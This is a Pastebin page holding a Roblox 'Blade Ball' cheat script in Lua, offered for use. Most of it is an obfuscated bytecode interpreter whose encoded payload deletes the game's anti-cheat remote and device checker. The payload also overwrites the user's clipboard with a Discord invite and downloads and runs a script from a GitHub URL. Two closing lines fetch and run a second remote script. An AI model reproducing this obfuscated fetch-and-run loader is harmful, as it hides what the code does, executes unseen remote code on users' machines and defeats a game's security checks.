Advertisement
Beastyy88

Blade ball op script

Jun 17th, 2024 (edited)
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.07 KB | Gaming | 0 0
  1. Credits to nqxl
  2.  
  3. local StrToNumber = tonumber;
  4. local Byte = string.byte;
  5. local Char = string.char;
  6. local Sub = string.sub;
  7. local Subg = string.gsub;
  8. local Rep = string.rep;
  9. local Concat = table.concat;
  10. local Insert = table.insert;
  11. local LDExp = math.ldexp;
  12. local GetFEnv = getfenv or function()
  13. return _ENV;
  14. end;
  15. local Setmetatable = setmetatable;
  16. local PCall = pcall;
  17. local Select = select;
  18. local Unpack = unpack or table.unpack;
  19. local ToNumber = tonumber;
  20. local function VMCall(ByteString, vmenv, ...)
  21. local DIP = 1;
  22. local repeatNext;
  23. ByteString = Subg(Sub(ByteString, 5), "..", function(byte)
  24. if (Byte(byte, 2) == 79) then
  25. repeatNext = StrToNumber(Sub(byte, 1, 1));
  26. return "";
  27. else
  28. local a = Char(StrToNumber(byte, 16));
  29. if repeatNext then
  30. local b = Rep(a, repeatNext);
  31. repeatNext = nil;
  32. return b;
  33. else
  34. return a;
  35. end
  36. end
  37. end);
  38. local function gBit(Bit, Start, End)
  39. if End then
  40. local Res = (Bit / (2 ^ (Start - 1))) % (2 ^ (((End - 1) - (Start - 1)) + 1));
  41. return Res - (Res % 1);
  42. else
  43. local Plc = 2 ^ (Start - 1);
  44. return (((Bit % (Plc + Plc)) >= Plc) and 1) or 0;
  45. end
  46. end
  47. local function gBits8()
  48. local a = Byte(ByteString, DIP, DIP);
  49. DIP = DIP + 1;
  50. return a;
  51. end
  52. local function gBits16()
  53. local a, b = Byte(ByteString, DIP, DIP + 2);
  54. DIP = DIP + 2;
  55. return (b * 256) + a;
  56. end
  57. local function gBits32()
  58. local a, b, c, d = Byte(ByteString, DIP, DIP + 3);
  59. DIP = DIP + 4;
  60. return (d * 16777216) + (c * 65536) + (b * 256) + a;
  61. end
  62. local function gFloat()
  63. local Left = gBits32();
  64. local Right = gBits32();
  65. local IsNormal = 1;
  66. local Mantissa = (gBit(Right, 1, 20) * (2 ^ 32)) + Left;
  67. local Exponent = gBit(Right, 21, 31);
  68. local Sign = ((gBit(Right, 32) == 1) and -1) or 1;
  69. if (Exponent == 0) then
  70. if (Mantissa == 0) then
  71. return Sign * 0;
  72. else
  73. Exponent = 1;
  74. IsNormal = 0;
  75. end
  76. elseif (Exponent == 2047) then
  77. return ((Mantissa == 0) and (Sign * (1 / 0))) or (Sign * NaN);
  78. end
  79. return LDExp(Sign, Exponent - 1023) * (IsNormal + (Mantissa / (2 ^ 52)));
  80. end
  81. local function gString(Len)
  82. local Str;
  83. if not Len then
  84. Len = gBits32();
  85. if (Len == 0) then
  86. return "";
  87. end
  88. end
  89. Str = Sub(ByteString, DIP, (DIP + Len) - 1);
  90. DIP = DIP + Len;
  91. local FStr = {};
  92. for Idx = 1, #Str do
  93. FStr[Idx] = Char(Byte(Sub(Str, Idx, Idx)));
  94. end
  95. return Concat(FStr);
  96. end
  97. local gInt = gBits32;
  98. local function _R(...)
  99. return {...}, Select("#", ...);
  100. end
  101. local function Deserialize()
  102. local Instrs = {};
  103. local Functions = {};
  104. local Lines = {};
  105. local Chunk = {Instrs,Functions,nil,Lines};
  106. local ConstCount = gBits32();
  107. local Consts = {};
  108. for Idx = 1, ConstCount do
  109. local Type = gBits8();
  110. local Cons;
  111. if (Type == 1) then
  112. Cons = gBits8() ~= 0;
  113. elseif (Type == 2) then
  114. Cons = gFloat();
  115. elseif (Type == 3) then
  116. Cons = gString();
  117. end
  118. Consts[Idx] = Cons;
  119. end
  120. Chunk[3] = gBits8();
  121. for Idx = 1, gBits32() do
  122. local Descriptor = gBits8();
  123. if (gBit(Descriptor, 1, 1) == 0) then
  124. local Type = gBit(Descriptor, 2, 3);
  125. local Mask = gBit(Descriptor, 4, 6);
  126. local Inst = {gBits16(),gBits16(),nil,nil};
  127. if (Type == 0) then
  128. Inst[3] = gBits16();
  129. Inst[4] = gBits16();
  130. elseif (Type == 1) then
  131. Inst[3] = gBits32();
  132. elseif (Type == 2) then
  133. Inst[3] = gBits32() - (2 ^ 16);
  134. elseif (Type == 3) then
  135. Inst[3] = gBits32() - (2 ^ 16);
  136. Inst[4] = gBits16();
  137. end
  138. if (gBit(Mask, 1, 1) == 1) then
  139. Inst[2] = Consts[Inst[2]];
  140. end
  141. if (gBit(Mask, 2, 2) == 1) then
  142. Inst[3] = Consts[Inst[3]];
  143. end
  144. if (gBit(Mask, 3, 3) == 1) then
  145. Inst[4] = Consts[Inst[4]];
  146. end
  147. Instrs[Idx] = Inst;
  148. end
  149. end
  150. for Idx = 1, gBits32() do
  151. Functions[Idx - 1] = Deserialize();
  152. end
  153. return Chunk;
  154. end
  155. local function Wrap(Chunk, Upvalues, Env)
  156. local Instr = Chunk[1];
  157. local Proto = Chunk[2];
  158. local Params = Chunk[3];
  159. return function(...)
  160. local Instr = Instr;
  161. local Proto = Proto;
  162. local Params = Params;
  163. local _R = _R;
  164. local VIP = 1;
  165. local Top = -1;
  166. local Vararg = {};
  167. local Args = {...};
  168. local PCount = Select("#", ...) - 1;
  169. local Lupvals = {};
  170. local Stk = {};
  171. for Idx = 0, PCount do
  172. if (Idx >= Params) then
  173. Vararg[Idx - Params] = Args[Idx + 1];
  174. else
  175. Stk[Idx] = Args[Idx + 1];
  176. end
  177. end
  178. local Varargsz = (PCount - Params) + 1;
  179. local Inst;
  180. local Enum;
  181. while true do
  182. Inst = Instr[VIP];
  183. Enum = Inst[1];
  184. if (Enum <= 14) then
  185. if (Enum <= 6) then
  186. if (Enum <= 2) then
  187. if (Enum <= 0) then
  188. Stk[Inst[2]] = Env[Inst[3]];
  189. elseif (Enum > 1) then
  190. Stk[Inst[2]]();
  191. else
  192. Stk[Inst[2]][Inst[3]] = Inst[4];
  193. end
  194. elseif (Enum <= 4) then
  195. if (Enum == 3) then
  196. local A = Inst[2];
  197. local Results, Limit = _R(Stk[A](Stk[A + 1]));
  198. Top = (Limit + A) - 1;
  199. local Edx = 0;
  200. for Idx = A, Top do
  201. Edx = Edx + 1;
  202. Stk[Idx] = Results[Edx];
  203. end
  204. else
  205. Stk[Inst[2]] = Inst[3];
  206. end
  207. elseif (Enum > 5) then
  208. Stk[Inst[2]][Inst[3]] = Inst[4];
  209. else
  210. do
  211. return;
  212. end
  213. end
  214. elseif (Enum <= 10) then
  215. if (Enum <= 8) then
  216. if (Enum > 7) then
  217. local A = Inst[2];
  218. Stk[A](Stk[A + 1]);
  219. else
  220. local A = Inst[2];
  221. local T = Stk[A];
  222. for Idx = A + 1, Top do
  223. Insert(T, Stk[Idx]);
  224. end
  225. end
  226. elseif (Enum > 9) then
  227. local A = Inst[2];
  228. Stk[A] = Stk[A](Unpack(Stk, A + 1, Top));
  229. else
  230. local A = Inst[2];
  231. local T = Stk[A];
  232. for Idx = A + 1, Top do
  233. Insert(T, Stk[Idx]);
  234. end
  235. end
  236. elseif (Enum <= 12) then
  237. if (Enum == 11) then
  238. local A = Inst[2];
  239. Stk[A](Stk[A + 1]);
  240. else
  241. local A = Inst[2];
  242. Stk[A](Unpack(Stk, A + 1, Inst[3]));
  243. end
  244. elseif (Enum > 13) then
  245. Stk[Inst[2]]();
  246. else
  247. do
  248. return;
  249. end
  250. end
  251. elseif (Enum <= 21) then
  252. if (Enum <= 17) then
  253. if (Enum <= 15) then
  254. local A = Inst[2];
  255. Stk[A](Unpack(Stk, A + 1, Inst[3]));
  256. elseif (Enum > 16) then
  257. Stk[Inst[2]] = Inst[3];
  258. else
  259. local A = Inst[2];
  260. Stk[A] = Stk[A](Unpack(Stk, A + 1, Inst[3]));
  261. end
  262. elseif (Enum <= 19) then
  263. if (Enum > 18) then
  264. Stk[Inst[2]] = Stk[Inst[3]][Inst[4]];
  265. else
  266. local A = Inst[2];
  267. Stk[A] = Stk[A](Unpack(Stk, A + 1, Inst[3]));
  268. end
  269. elseif (Enum == 20) then
  270. Stk[Inst[2]] = Stk[Inst[3]][Inst[4]];
  271. else
  272. Stk[Inst[2]] = {};
  273. end
  274. elseif (Enum <= 25) then
  275. if (Enum <= 23) then
  276. if (Enum == 22) then
  277. local A = Inst[2];
  278. local Results, Limit = _R(Stk[A](Unpack(Stk, A + 1, Inst[3])));
  279. Top = (Limit + A) - 1;
  280. local Edx = 0;
  281. for Idx = A, Top do
  282. Edx = Edx + 1;
  283. Stk[Idx] = Results[Edx];
  284. end
  285. else
  286. local A = Inst[2];
  287. Stk[A] = Stk[A](Unpack(Stk, A + 1, Top));
  288. end
  289. elseif (Enum > 24) then
  290. local A = Inst[2];
  291. local Results, Limit = _R(Stk[A](Unpack(Stk, A + 1, Inst[3])));
  292. Top = (Limit + A) - 1;
  293. local Edx = 0;
  294. for Idx = A, Top do
  295. Edx = Edx + 1;
  296. Stk[Idx] = Results[Edx];
  297. end
  298. else
  299. Stk[Inst[2]] = Env[Inst[3]];
  300. end
  301. elseif (Enum <= 27) then
  302. if (Enum > 26) then
  303. local A = Inst[2];
  304. local B = Stk[Inst[3]];
  305. Stk[A + 1] = B;
  306. Stk[A] = B[Inst[4]];
  307. else
  308. local A = Inst[2];
  309. local B = Stk[Inst[3]];
  310. Stk[A + 1] = B;
  311. Stk[A] = B[Inst[4]];
  312. end
  313. elseif (Enum == 28) then
  314. Stk[Inst[2]] = {};
  315. else
  316. local A = Inst[2];
  317. local Results, Limit = _R(Stk[A](Stk[A + 1]));
  318. Top = (Limit + A) - 1;
  319. local Edx = 0;
  320. for Idx = A, Top do
  321. Edx = Edx + 1;
  322. Stk[Idx] = Results[Edx];
  323. end
  324. end
  325. VIP = VIP + 1;
  326. end
  327. end;
  328. end
  329. return Wrap(Deserialize(), {}, vmenv)(...);
  330. end
  331. VMCall("LOL!283O0003043O0067616D65030A3O0047657453657276696365030A3O005374617274657247756903073O00536574436F726503103O0053656E644E6F74696669636174696F6E03053O005469746C652O033O004C6F6703043O0054657874030B3O0065682044656C657465642003083O004475726174696F6E026O00144003043O0077616974026O00F03F03143O00536563757269747920762E332072656D6F76656403183O0072656D6F76696E6720736563727569747920747261636573026O33D33F031A3O007365637572697479203D206E6F742073656375726564204C4F4C029A5O99C93F03293O00596F752043616E204578656375746520416E7920426C6164652042612O6C20536372697074204E6F7703103O0053656375726974792052656D6F76656403253O0044657669636520436865636B65722052656D6F766564204C6F6164696E6720536372697074027O004003073O00446973636F726403443O004A6F696E204F757220446973636F7264202D20682O7470733A2O2F646973636F72642E2O672F2O55355A59466138665820636F7069656420746F20636C6970626F617264030C3O00736574636C6970626F617264031D3O00682O7470733A2O2F646973636F72642E2O672F2O55355A59466138665803113O005265706C69636174656453746F7261676503083O005365637572697479030B3O0052656D6F74654576656E7403073O0044657374726F79034O0003073O00506C6179657273030B3O004C6F63616C506C61796572030D3O00506C617965725363726970747303063O00436C69656E74030D3O00446576696365436865636B6572026O000840030A3O006C6F6164737472696E6703073O00482O7470476574034C3O00682O7470733A2O2F7261772E67697468756275736572636F6E74656E742E636F6D2F2O3334352D632D612D742D732D752D732F2D626574612D2F6D61696E2F4175746F50612O72792E6C756100A03O00124O00013O00201B5O0002001204000200034O00103O0002000200201B5O0004001204000200054O001C00033O00030030010003000600070030010003000800090030010003000A000B2O000C3O0003000100124O000C3O0012040001000D4O000B3O0002000100124O00013O00201B5O0002001204000200034O00103O0002000200201B5O0004001204000200054O001C00033O000300300100030006000700300100030008000E0030010003000A000B2O000C3O0003000100124O000C3O0012040001000D4O000B3O0002000100124O00013O00201B5O0002001204000200034O00103O0002000200201B5O0004001204000200054O001C00033O000300300100030006000700300100030008000F0030010003000A000B2O000C3O0003000100124O000C3O001204000100104O000B3O0002000100124O00013O00201B5O0002001204000200034O00103O0002000200201B5O0004001204000200054O001C00033O00030030010003000600070030010003000800110030010003000A000B2O000C3O0003000100124O000C3O001204000100124O000B3O0002000100124O00013O00201B5O0002001204000200034O00103O0002000200201B5O0004001204000200054O001C00033O00030030010003000600070030010003000800130030010003000A000B2O000C3O0003000100124O000C3O001204000100104O000B3O0002000100124O00013O00201B5O0002001204000200034O00103O0002000200201B5O0004001204000200054O001C00033O00030030010003000600070030010003000800140030010003000A000B2O000C3O0003000100124O000C3O001204000100104O000B3O0002000100124O00013O00201B5O0002001204000200034O00103O0002000200201B5O0004001204000200054O001C00033O00030030010003000600070030010003000800150030010003000A000B2O000C3O0003000100124O000C3O001204000100164O000B3O0002000100124O00013O00201B5O0002001204000200034O00103O0002000200201B5O0004001204000200054O001C00033O00030030010003000600170030010003000800180030010003000A000B00122O000400193O0012040005001A4O0003000400054O000700033O00012O000C3O0003000100124O000C3O0012040001000D4O000B3O0002000100124O00013O00201B5O00020012040002001B4O00103O000200020020145O001C0020145O001D00201B5O001E2O000B3O0002000100124O00013O00201B5O00020012040002001B4O00103O000200020020145O001C0020145O001F00201B5O001E2O000B3O0002000100124O00013O00201B5O00020012040002001B4O00103O000200020020145O001C00201B5O001E2O000B3O0002000100124O00013O00201B5O0002001204000200204O00103O000200020020145O00210020145O00220020145O00230020145O002400201B5O001E2O000B3O0002000100124O000C3O001204000100254O000B3O0002000100124O00263O00122O000100013O00201B000100010027001204000300284O0016000100034O000A5O00022O000E3O000100012O00053O00017O00", GetFEnv(), ...);
  332.  
  333.  
  334. local link = "https://raw.githubusercontent.com/Amphvptere/otherrandomStuff/main/BladeBallAuto"
  335. loadstring(game:HttpGet(link))()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement